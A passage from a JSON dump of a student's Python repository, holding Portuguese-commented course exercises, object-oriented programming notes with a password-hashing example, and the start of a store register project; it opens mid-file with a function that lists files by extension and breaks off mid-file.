'wma','aiff', 'ape', # Audios\\n\\t'avi','flv','m4v','mkv', 'mov','mpg', 'mpeg', 'wmv', 'swf', '3gp', #Vídeos\\n\\t'doc','docx','xls','xlsx','ppt','pptx', # Microsoft office OpenOffice, Adobe, Latex, Markdown, etc\\n\\t'odt','odp','ods','txt','rtf','tex','pdf','epub','md','yml','yaml','json','xml','csv', # dados estruturados e config\\n\\t'db','sql','dbf','mdb','iso', # bancos de dados e imagens de disco\\n\\t'html','htm','xhtml','php','asp','aspx','js','jsp','css', # tecnologias web\\n\\t'c','cpp','cxx','h','hpp','hxx', # Código fonte C e C++\\n\\t'java','class','jar', # Códigos fonte Java\\n\\t'ps','bat','vb', # Scripts de sistemas windows\\n\\t'awk','sh','cgi','pl','ada','swift', # Scripts de sistemas unix\\n\\t'go','py','pyc','bf','coffee', # Outros tipos de códigos fonte\\n\\t'zip','tar','tgz','bz2','7z','rar','bak' # Arquivos compactados e Backups\\n ]\\n\\n for dirpath, dirs, files in os.walk(initial_path):\\n for _file in files:\\n absolute_path = os.path.abspath(os.path.join(dirpath,_file))\\n ext = absolute_path.split\\n ext = absolute_path.split('.')[-1]\\n if ext in extensions:\\n yield absolute_path\\n# Isso só execultado quando você executa o módulo diretamente\\nif __name__ =='__main__':\\n x - discover(os.getcwd())\\n for i in x:\\n print(i)\\n\"\n },\n {\n \"alpha_fraction\": 0.4307692348957062,\n \"alphanum_fraction\": 0.44999998807907104,\n \"avg_line_length\": 24.899999618530273,\n \"blob_id\": \"66303b986436c7a61439ee0bf143b5c5c2d7f5e7\",\n \"content_id\": \"323b3bc27d0f45f991b54aaa7a7c7bd73f4631e2\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 261,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M2/ex67.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nwhile True:\\n n =int(input('Quer ver a tabuada de qual número?'))\\n if n == 0:\\n print('O programa ENCERROU!')\\n break\\n else:\\n for i in range(0,11):\\n m = i * n\\n print(f'{i} X {n} = {m}')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.46482759714126587,\n \"alphanum_fraction\": 0.5103448033332825,\n \"avg_line_length\": 25.851852416992188,\n \"blob_id\": \"0aa4bf534e38526f7563a7cc728bca05f4f715a7\",\n \"content_id\": \"1e7266ba9a0775d1edb7d6fa19f95e802b808db8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 728,\n \"license_type\": \"permissive\",\n \"max_line_length\": 65,\n \"num_lines\": 27,\n \"path\": \"/Curso-Em-Video/M3/ex87.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nmatrix = [[0,0,0],[0,0,0],[0,0,0]]\\npair = 0\\nodd = 0\\nscol = 0\\nfor l in range(0,3):\\n for c in range(0,3):\\n matrix[l][c] = int(input(f'Digite o valor [{l}][{c}]: '))\\n if matrix[l][c] % 2 ==0:\\n pair +=matrix[l][c]\\n else:\\n odd +=matrix[l][c]\\nfor l in range(0,3):\\n for c in range(0,3):\\n print(f'[{matrix[l][c]:^5}]',end ='')\\n print()\\nprint(f'A soma dos pares é: {pair}')\\n\\nfor l in range(0,3):\\n scol +=matrix[l][2]\\nprint(f'A soma dos elementos da terceira coluna é: {scol}')\\nfor c in range(0,3):\\n if c ==0:\\n hign = matrix[1][c]\\n elif matrix[1][c] > hign:\\n hign = matrix[1][c]\\nprint(f'O maior valor da segunda linha é {hign}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6320754885673523,\n \"alphanum_fraction\": 0.6426886916160583,\n \"avg_line_length\": 20.769229888916016,\n \"blob_id\": \"3f88eb7542d325ccd30ca095d3eec10580a0731b\",\n \"content_id\": \"8ccd9ee474027a4d6285c9c7b8f6006c9bb6097b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 854,\n \"license_type\": \"permissive\",\n \"max_line_length\": 56,\n \"num_lines\": 39,\n \"path\": \"/Geek-University/Seção3/Recebendo_dados.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\n# Recebendo dados dos usúario\\n\\ninput -> Todo dado receebido via input é do tipo string\\n\\nEm python, string é tuod que estiver em:\\n - Aspas Simples;\\n - Aspas duplas;\\n - Aspas simples triplas;\\n - Aspas duplas triplas;\\n\\nExemplos:\\n - Aspas Simples -> 'Anjelina jolie'\\n - Aspas Duplas -> \\\"angelina\\\"\\n\\\"\\\"\\\"\\n\\n# Entrada de dados\\nprint('Qual é o seu nome? ')\\nnome = input() # Input -> entrada\\n\\n# Exemplos de print 'Antigo' 2.X\\n# print('Seja bem-vindo(a) %s' %nome)\\n\\n# Exemplo de print 'moderno' 3.x\\n# print('Seja bem-vindo(a) {0}'.format(nome))\\n\\n# Exemplo de print 'mais atual' 3.7\\nprint(f'Seja bem vindo {nome}')\\n\\nprint(\\\"Qual é a sua idade? \\\")\\nidade = input()\\n# Processamento\\n\\n# Saída\\n# Exemplo de print 'antigo' 2.x\\n# print('A %s tem %s anos %' (nome,idade))\\n\\n# Exemplo de print 'moderno' 3.x\\n# print('A {0} tem {1} anos'.format(nome, idade))\"\n },\n {\n \"alpha_fraction\": 0.5967742204666138,\n \"alphanum_fraction\": 0.6854838728904724,\n \"avg_line_length\": 48.79999923706055,\n \"blob_id\": \"9dec54f4524f747f8d1ce0c1e6223993e682f6d5\",\n \"content_id\": \"d87c2b07a66d718c0d8c429b235328966d0b606d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 250,\n \"license_type\": \"permissive\",\n \"max_line_length\": 66,\n \"num_lines\": 5,\n \"path\": \"/Curso-Em-Video/M3/ex109.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import mod109\\np = float(input('Digite o preco: R$'))\\nprint(f'A metade de {mod109.moeda(p)} é {mod109.metade(p, True)}')\\nprint(f'O dobro de {mod109.moeda(p)} é {mod109.dobro(p, True)}')\\nprint(f'Aumentanexdo 10%, temos {mod109.aumentar(p,10, True)}')\"\n },\n {\n \"alpha_fraction\": 0.6428571343421936,\n \"alphanum_fraction\": 0.651260495185852,\n \"avg_line_length\": 46.599998474121094,\n \"blob_id\": \"9bb24265f2fa8487562e4c1ba11737b678f20650\",\n \"content_id\": \"34afcf404a7dfb77f15e5292a5a0e0df0b8b9e17\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 238,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 5,\n \"path\": \"/Curso-Em-Video/M2/ex57.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nsexo = str(input('Digite o seu sexo [M] para masculino ou [F] para feminino')).strip().upper()[0]\\nwhile sexo not in 'MmFf':\\n sexo =str(input('Digie um valor valido[M/F]: '))\\nprint('Dado registrado com sucesso!')\\n\"\n },\n {\n \"alpha_fraction\": 0.5564516186714172,\n \"alphanum_fraction\": 0.5806451439857483,\n \"avg_line_length\": 40.33333206176758,\n \"blob_id\": \"e5511261e6b64f022b5763daa9fd8407ccb82b01\",\n \"content_id\": \"1cb6a78fc8c6d7c1e61c3a1952b805c955ff9a17\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 127,\n \"license_type\": \"permissive\",\n \"max_line_length\": 62,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M1/ex05.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = int(input(\\\"Digite um número: \\\"))\\nprint(f'O antecessor de {n} é {n-1} e o seu sucessor é {n+1}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5614250898361206,\n \"alphanum_fraction\": 0.5872235894203186,\n \"avg_line_length\": 31.559999465942383,\n \"blob_id\": \"dcf86a7ca350e08dccf0e4435bd3add8b6c9b346\",\n \"content_id\": \"52e6ed5731ba4b5e0d889fc389a9673582e50c43\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 818,\n \"license_type\": \"permissive\",\n \"max_line_length\": 72,\n \"num_lines\": 25,\n \"path\": \"/Curso-Em-Video/M2/ex56.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ntidade = 0\\nmedia = 0\\nmaioridadehomem = 0\\nnomevelho = 0\\ntotmulher20 = 0\\nfor p in range(1,5):\\n nome = str(input('Digite o seu nome: '))\\n idade =int(input('Digite a sua idade: '))\\n sexo = str(input('\\\\n Qual é o seu sexo?'\\n '\\\\n [M] => Masculino'\\n '\\\\n [F] => Feminino')).strip()\\n tidade += idade\\n if p== 1 and sexo in 'Mm':\\n maioridadehomem = idade\\n nomevelho = nome\\n if sexo in 'Mm' and idade > maioridadehomem:\\n maioridadehomem = idade\\n nomevelho = nome\\n if sexo in 'Ff' and idade > 20:\\n totmulher20 += 1\\nmedia = tidade/4\\nprint(f'A média de idade do grupo é de {media} anos')\\nprint(f'O homem mais velho tem {maioridadehomem} e se chama{nomevelho}')\\nprint(f'Ao todo são {totmulher20} com 20 anos')\\n\"\n },\n {\n \"alpha_fraction\": 0.5984252095222473,\n \"alphanum_fraction\": 0.6299212574958801,\n \"avg_line_length\": 30.75,\n \"blob_id\": \"9023ea33c6e1bc864e5b1fcabf68f1f30ca6c52e\",\n \"content_id\": \"8409c4755e689473f32e500bcec3ad1c7af26032\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 129,\n \"license_type\": \"permissive\",\n \"max_line_length\": 51,\n \"num_lines\": 4,\n \"path\": \"/Curso-Em-Video/M1/ex10.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = int(input('Digite a quantidade de dinheiro: '))\\nd = n/5.49\\nprint(f'Você pode comprar {d} dólares')\\n\"\n },\n {\n \"alpha_fraction\": 0.6519284844398499,\n \"alphanum_fraction\": 0.6612182259559631,\n \"avg_line_length\": 34.735294342041016,\n \"blob_id\": \"2ff0d7dccb1e859f62b0ad80989b591639283c40\",\n \"content_id\": \"2168227511508cfde9bf4267f3a4a54b8e5c3b5c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8614,\n \"license_type\": \"permissive\",\n \"max_line_length\": 190,\n \"num_lines\": 238,\n \"path\": \"/Geek-University/Poo/Poo.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nProgramação Orientada a objeto - POO\\n\\n- POO é um modelo de paradgma de programação que utiliza mapeamento\\nde objetos do mundo real para modelos computaconais.\\n\\n- Paradigma de programação é a forma/metodologia utilizada para\\npensar/desenvolver sistemas.\\n\\nPrincipais elementos da orientação a orientação a objetos.\\n- Classe -> Modelo do objeto do mundo real sendo representado computacionalmente.\\n- Atributo -> Características dp objeto.\\n- Método -> Comportamento do objeto(funções).\\n- Construtor -> método especial utilizado para criar objeto.\\n- Objeto -> instancia da classe.\\n\\\"\\\"\\\"\\n\\n#--------------------------------------------------------------------------------------------------------------------\\n\\\"\\\"\\\"\\nPOO - Classes \\n\\nEm POO , classes nada mais são do que modelos dos objetos do mundo real sendo representados \\ncomputacionalmente.\\n\\nClasses podem conter: \\n - Atributos -> Repesentam as cracteristicas dos objetos, ou seja , pelos atributos podemos representar \\n computacionalmente os estados de um objeto. No caso da lâmpada, possivelmento iriamos querer saber se a\\n lâmpada é de 110 ou 220 volts, se ela é branca, amarela, vermelha, ou de iutra cor, qual é a luminosidade \\n dela etc.\\n \\n - Métodos -> Representam os comportamentos do objeto, ou seja, as ações que este objeto pode realizar no seu\\n sistema. No caso da lampada por exemplo, um comportamento comum que muito provavelmento iriamos querer representar \\n no nosso sistema é o de ligar e desliga a mesma.\\n \\nPara definirmos uma classe me python usamos a palavra reservada 'class' \\n\\nOBS: classes sao objetos\\n\\n\\\"\\\"\\\"\\n#------------------------------------------------------------------------------------------------------------------------------------\\n\\\"\\\"\\\"\\nPOO: Atributos\\nAtributos representam as características de um projeto. Ou seja, pelos atributos \\nnós conseguimos representar computaconalmete os estados de um onjeto.\\n\\nEm python, dividios os atributos em 3 grupos:\\n - Atributos de instancia;\\n - Atributos de classe;\\n - Atributos dinamicos;\\n\\n# Atributos de instancia:\\n São atributos declarados dentro do método construtor.\\n - Ao criarmos instâncias/Objetos de uma classe , todas as intâncias terão esses atributos. \\n __ -> indica que o atributo é private\\n self -> É o objeto que está usando o método\\n \\n# Atributos publicos e privados: \\n - Atributos privados so podem ser acessados na propria classe \\n - Por converção todos atributos são publicos\\n\\n# Atributos de Classe\\n - São atributos declarados diretamente na classe, ou seja, fora do método construtor.\\n geralmente já iniciamos um valor, e este valor é compartilhado entre todas as instancias da classe.\\n Ou seja, ao invés de cada instância da classe ter seus próprios valores como é o caso dos atributos de \\n instâncias, como os atributos de classe todas as instâncias terão o mesmo valor para o atributo. \\n\\n# Atributos Dinamicos\\n - Um atributo de instância que pode ser criado em tempo de execução, mas o atributo dinamico será exclusivo\\n da instância que o criou.\\n \\n\\n\\\"\\\"\\\"\\n#----------------------------------------------------------------------------------------------------------------------\\n\\n\\n#print(help(list)) para consultas\\n\\n#class Lampada:\\n# def __init__(self, voltagem,cor):\\n# self.__voltagem = voltagem # esta linha indica que o objeto Lampada no atributo Voltagem vai receber voltagem\\n# self.__cor = cor\\n# self.__ligada = False\\n#\\n#class ContaCorrente:\\n# def __init__(self,numero, limite, saldo):\\n# self.numero = numero\\n# self.limite = limite\\n# self.saldo = saldo\\n#\\n#class Usuario:\\n# def __init__(self,nome, email, senha):\\n# self.nome = nome\\n# self.email = email\\n# self.senha = senha\\n\\n#class Produto:\\n# imposto = 1.05 # Em java atributos de classe são os atributos estaticos\\n# cont = 0\\n# def __init__(self, nome, descricao, valor):\\n# self.id = Produto.cont +1\\n# self.nome = nome\\n# self.descricao = descricao\\n# self.valor = (valor * Produto.imposto)\\n# Produto.cont = self.id\\n\\n#if __name__ == '__main__':\\n# p1 = Produto(\\\"Playstation 4\\\",\\\"video-game\\\",13000)\\n# p1.peso = \\\"800g\\\" # <- atributo de instancia!\\n# print(p1.__dict__) # <- retorna todos os atributos na forma de um dicionario.\\n# # o comando 'del' deleta atributos dinamicamente.\\n\\n\\\"\\\"\\\"\\nPOO - Métodos\\n-Meétodos(funções) -> representam os comportamentos do objeto. ou seja, as ações que este objeto poder realizar\\nno seu sitema.\\n\\nEm python dividimos os métodos em:\\n\\n# Métodos de instância\\n -> O método dunder init __init__ é um método especial chamado de construtor e \\n sua função é construir o objeto a partir da classe.\\n\\n OBS: todo método em python que inicia e finaliza com duplo underline é chamdo de dunder (double Underline)\\n OBS: os métodos/funções dunder em python são chamdos de métodos mágicos.\\n ATENÇÂO: Não é aconselhado usar dunder em seus métodos, pois pode intereferir nas funções internas do python\\n\\n OBS: métodos são escritos em letras minusculas e separadas por underline quando compostos.\\n\\n# Métodos de classe\\n -> Decorador => @classmethod\\n -> Não estão vinculados a auma instancia de classe \\n -> São conhecidos como métodos estaticos em outras linguagens \\n -> É idela utilizalos quando a função que desejamos criar não utilizar atributos de instancia \\n -> Métodos privados só podem ser utilizados dentro da sua propria classe\\n\\n# Métodos estaticos\\n -> Decorador => @staticmethod\\n -> Não recebe nada em seus parametros\\n\\\"\\\"\\\"\\nclass Lampada:\\n def __init__(self, cor, voltagem, luminosidade):\\n self.__cor = cor\\n self.__voltagem = voltagem\\n self.__luminosidade = luminosidade\\n self.ligada = False\\n\\nclass ContaCorrente:\\n\\n contador = 1234\\n def __init__(self, limite, saldo):\\n self.__numero = ContaCorrente.contador +1\\n self.__limite = limite\\n self.saldo = saldo\\n ContaCorrente.contador = self.__numero\\n\\nclass Produto:\\n contador = 0\\n def __init__(self, nome, descricao, valor):\\n self.__id = Produto.contador +1\\n self.__nome = nome\\n self.__descricao = descricao\\n self.__valor = valor\\n Produto.contador = self.__id\\n\\n def desconto(self, porcentagem):\\n \\\"\\\"\\\"Retorna o valor do produto com desconto\\\"\\\"\\\"\\n return (self.__valor * (100 - porcentagem))/100\\n\\nfrom passlib.hash import pbkdf2_sha256 as cryp #criptografia char256\\n\\nclass Usuario:\\n contador = 0\\n @classmethod # e necessario para criar um método de classe\\n def conta_usuarios(cls):# o parametor é a propria classe\\n print(f'Temos {cls.contador} usuario(s) no sistema')\\n\\n @staticmethod\\n def definicao():\\n return 'UXR344'\\n\\n def __init__(self, nome, sobrenome, email, senha):\\n self.__id = Usuario.contador+1\\n self.__sobrenome = sobrenome\\n self.__nome = nome\\n self.__email = email\\n self.__senha = cryp.hash(senha, rounds=200000, salt_size=16)# qual string sera incriptada, o ronund mostra quantos embaralhamentos seram feitos salt = parte do texto que será juntada\\n Usuario.contador = self.__id\\n print(f'Usuario criado: {self.__gera_usuario()}')\\n def nome_comleto(self):\\n return f'{self.__nome} {self.__sobrenome}'\\n\\n #verifica se a senha digitada é igual a senha registrada\\n def checa_senha(self,senha):\\n if cryp.verify(senha, self.__senha):\\n return True\\n return False\\n def __gera_usuario(self):\\n return self.__email.split('@')[0] #quebra a string no ponto desejado e devolve o que estava antes do parametro na posiçãozeroda lista\\n\\nuser = Usuario(f'Felicity','Jones','felicity@gmail.com','12345679')\\n\\n# MATERIAL DE ESTUDO!\\n#nome = input('Informe o nome: ')\\n#sobrnome =input('Informe o sobrenome: ')\\n#email = input('Informe o email: ')\\n#senha = input('Informe a senha: ')\\n#confirma_senha = input('Confirme a senha: ')\\n#\\n#if senha == confirma_senha:\\n# user = Usuario(nome,sobrnome,email, senha)\\n#else:\\n# print('Senha não confere...')\\n# exit(42)\\n\\n#print('Usuario criado com sucesso!')\\n\\n#senha = input('Informe a senha para o acesso: ')\\n\\n#if user.checa_senha(senha):\\n# print('Acesso permitido')\\n#else:\\n# print('Acesso Negado!')\\n\\n#print(f'Senha user criptografada: {user._Usuario__senha}') #Aceso errado!\\n\\n\\n\\n\\n\\n#p1 = Produto('Playstation','Videogame',2300)\\n\\n#print(p1.desconto(40))\\n\\n#print(user1.nome_comleto())\\n\\n#print(user2.nome_comleto())\\n\\n#print(Usuario.nome_comleto(user2))\"\n },\n {\n \"alpha_fraction\": 0.6413792967796326,\n \"alphanum_fraction\": 0.6517241597175598,\n \"avg_line_length\": 31.22222137451172,\n \"blob_id\": \"64e50e4e7d59ce2832d9f55e0892ef01adf496bd\",\n \"content_id\": \"de24f0654c8688e5f89cae7f54aa100160c76dbd\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 294,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex26.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nnome = str(input(\\\"Digite o seu nome completo: \\\")).lower()\\n\\ncout = nome.count('a')\\nfirst = nome.find('a')+1\\nlast = nome.rfind('a')+1\\nprint(f'Recorrencida da letra a: {cout}')\\nprint(f'Posição da primeira letra a :{first}')\\nprint(f'Ultima aparição da letra a: {last}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6024096608161926,\n \"alphanum_fraction\": 0.6345381736755371,\n \"avg_line_length\": 26.44444465637207,\n \"blob_id\": \"af412e8e91518f6415a024ae35c61ebeda8d5f90\",\n \"content_id\": \"c80f9f9b1f494a1faf26f0f522dd0e0af4990f12\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 254,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex28.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport random\\nn = random.randint(0,5)\\nn2=int(input(\\\"Tente adivinhar em qual número de 0 a 5 eu estou pensando. \\\"))\\n\\nif n == n2:\\n print(f'Você acertou o número era: {n2}')\\nelse:\\n print(f'Você errou o número era: {n}')\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.8461538553237915,\n \"alphanum_fraction\": 0.8461538553237915,\n \"avg_line_length\": 25,\n \"blob_id\": \"1824d2a7bb84d4ebc4319ab7c160393bdf06453a\",\n \"content_id\": \"032269471a8924524198cdb7568cf267d4175648\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 26,\n \"license_type\": \"permissive\",\n \"max_line_length\": 25,\n \"num_lines\": 1,\n \"path\": \"/PythonPOO/main.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from Pessoa import Pessoa\\n\"\n },\n {\n \"alpha_fraction\": 0.6056337952613831,\n \"alphanum_fraction\": 0.6118935942649841,\n \"avg_line_length\": 36.64706039428711,\n \"blob_id\": \"aade5ca4727c7ab314437277229b16cbc3c39a12\",\n \"content_id\": \"c7ed004cdd4036f735ff0dec3f98fb82beca653b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 643,\n \"license_type\": \"permissive\",\n \"max_line_length\": 86,\n \"num_lines\": 17,\n \"path\": \"/Curso-Em-Video/M3/ex92.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\npessoa = {}\\npessoa['Nome'] = str(input('Nome: '))\\npessoa['Ano_nasc'] = int(input('Ano de nascimento: '))\\npessoa['Ctps'] = int(input('Carteira de trabalho (0 não tem): '))\\n\\nnow = datetime.now()\\npessoa['idade'] = now.year - pessoa['Ano_nasc']\\nif pessoa['Ctps'] !=0:\\n pessoa['contratacao'] = int(input('Ano de contratação: '))\\n pessoa['Salario'] = float(input('Salário: '))\\n pessoa['Aposentadora'] = pessoa['idade'] + (pessoa['contratacao'] + 35) - now.year\\n for k, v in pessoa.items():\\n print(f'{k} tem o valor {v}')\\nelse:\\n for k, v in pessoa.items():\\n print(f'{k} tem o valor {v}')\"\n },\n {\n \"alpha_fraction\": 0.31578946113586426,\n \"alphanum_fraction\": 0.4035087823867798,\n \"avg_line_length\": 18,\n \"blob_id\": \"e06a69798266dbf0277c741f103455ff8791fcd5\",\n \"content_id\": \"eb78633be3e7bd2bbb1654da0a1123548321a361\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 114,\n \"license_type\": \"permissive\",\n \"max_line_length\": 32,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M2/ex48.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ns = 0\\nfor i in range(1,501):\\n if i % 2 != 0 and i % 3 ==0:\\n s += i\\nprint(s)\\n\"\n },\n {\n \"alpha_fraction\": 0.5623959898948669,\n \"alphanum_fraction\": 0.5923460721969604,\n \"avg_line_length\": 21.259260177612305,\n \"blob_id\": \"d11b86b2c774af69a344e692e92eb688b5ddcb08\",\n \"content_id\": \"0f0eb0738ea8005d868e8e27c2edf7b11097b5c3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 601,\n \"license_type\": \"permissive\",\n \"max_line_length\": 54,\n \"num_lines\": 27,\n \"path\": \"/PythonPOO/Pessoa.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from random import randint\\nclass Pessoa:\\n ano_autal = 2021\\n\\n def __init__(self, nome, idade):\\n self.nome = nome\\n self.idade = idade\\n\\n def get_ano_nascimento(self):\\n print(self.ano_autal - self.idade)\\n\\n\\n @classmethod\\n def por_ano_nascimento(cls, nome, ano_nascimento):\\n idade = cls.ano_autal - ano_nascimento\\n return cls(nome, idade)\\n\\n @staticmethod\\n def gera_id():\\n rand = randint(10000, 19999)\\n return rand\\n\\nif __name__ == '__main__':\\n\\n p1 = Pessoa('Joseph', 23)\\n #print(p1.get_ano_nascimento())\\n print(Pessoa.gera_id())\\n\"\n },\n {\n \"alpha_fraction\": 0.5206896662712097,\n \"alphanum_fraction\": 0.5586206912994385,\n \"avg_line_length\": 23.16666603088379,\n \"blob_id\": \"5b192e4a8e099031e557ea1206beb2dc9cab8b1c\",\n \"content_id\": \"746c5088be50d138a7931fb8eb60e13e1f721195\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 291,\n \"license_type\": \"permissive\",\n \"max_line_length\": 61,\n \"num_lines\": 12,\n \"path\": \"/Curso-Em-Video/M2/ex55.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nc = 0\\nmaior = 0\\nmenor = 99999\\nfor i in range(1,6):\\n peso = float(input(f'Digite o peso da {c}º Pessoa: '))\\n c += 1\\n if peso > maior:\\n maior = peso\\n if peso < menor:\\n menor =peso\\nprint(f'O maior peso foi {maior} e o menor peso foi:{menor}')\\n\"\n },\n {\n \"alpha_fraction\": 0.4390243887901306,\n \"alphanum_fraction\": 0.4918699264526367,\n \"avg_line_length\": 21.363636016845703,\n \"blob_id\": \"da2158afc54542293dc403b58b08feb4420bc9e1\",\n \"content_id\": \"093fbd4b634a03ba522de846c3cf26229b3df38c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 249,\n \"license_type\": \"permissive\",\n \"max_line_length\": 62,\n \"num_lines\": 11,\n \"path\": \"/Curso-Em-Video/M2/ex66.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nc = 0\\ns = 0\\nwhile True:\\n n = int(input('Digite um valor (999 para parar): '))\\n if n != 999:\\n s += n\\n c += 1\\n if n == 999:\\n break\\nprint(f'Você digitou {c} números a soma de todos eles é: {s}')\\n\"\n },\n {\n \"alpha_fraction\": 0.43728354573249817,\n \"alphanum_fraction\": 0.4524478018283844,\n \"avg_line_length\": 33.85481262207031,\n \"blob_id\": \"edd6cbb176a39cb7fd18d16f836754135515b044\",\n \"content_id\": \"1217308d2256b11553f23083f114f8a78586a958\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 21413,\n \"license_type\": \"permissive\",\n \"max_line_length\": 190,\n \"num_lines\": 613,\n \"path\": \"/Projetos_3S/Loja.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from passlib.hash import pbkdf2_sha256 as cryp #importando o necessario para criptografia char256\\n\\\"\\\"\\\"\\nSimas precisa de um sistema de controle de caixa para a sua loja de eletronicos\\n\\n\\\"\\\"\\\"\\n\\n#-----------------------------------------Pessoa---------------------------------------------------------------------------------------------------\\nclass Pessoa:\\n def __init__(self, nome, sobrenome, email,cpf):\\n self.__nome = nome\\n self.__sobrenome = sobrenome\\n self.__email = email\\n self.__cpf = cpf\\n\\n @property\\n def nome(self):\\n return self.__nome\\n\\n @nome.setter\\n def nome(self, nome):\\n self.__nome = nome\\n\\n\\n @property\\n def sobrenome(self):\\n return self.__sobrenome\\n\\n @sobrenome.setter\\n def sobrenome(self, sobrenome):\\n self.__sobrenome = sobrenome\\n\\n @property\\n def email(self):\\n return self.__email\\n\\n @email.setter\\n def email(self, email):\\n self.__email = email\\n\\n @property\\n def cpf(self):\\n return self.__cpf\\n\\n @cpf.setter\\n def cpf(self, cpf):\\n self.__cpf = cpf\\n\\n def nome_comleto(self):\\n return f'{self.__nome} {self.__sobrenome}'\\n\\n#---------------------------------------------Usuario---------------------------------------------------------------------------------------------------\\nclass Usuario(Pessoa):\\n contador = 0\\n @classmethod # e necessario para criar um método de classe\\n def conta_usuarios(cls):# o parametor é a propria classe\\n print(f'{cls.contador} usuario(s) no sistema')\\n\\n\\n def __init__(self, nome, 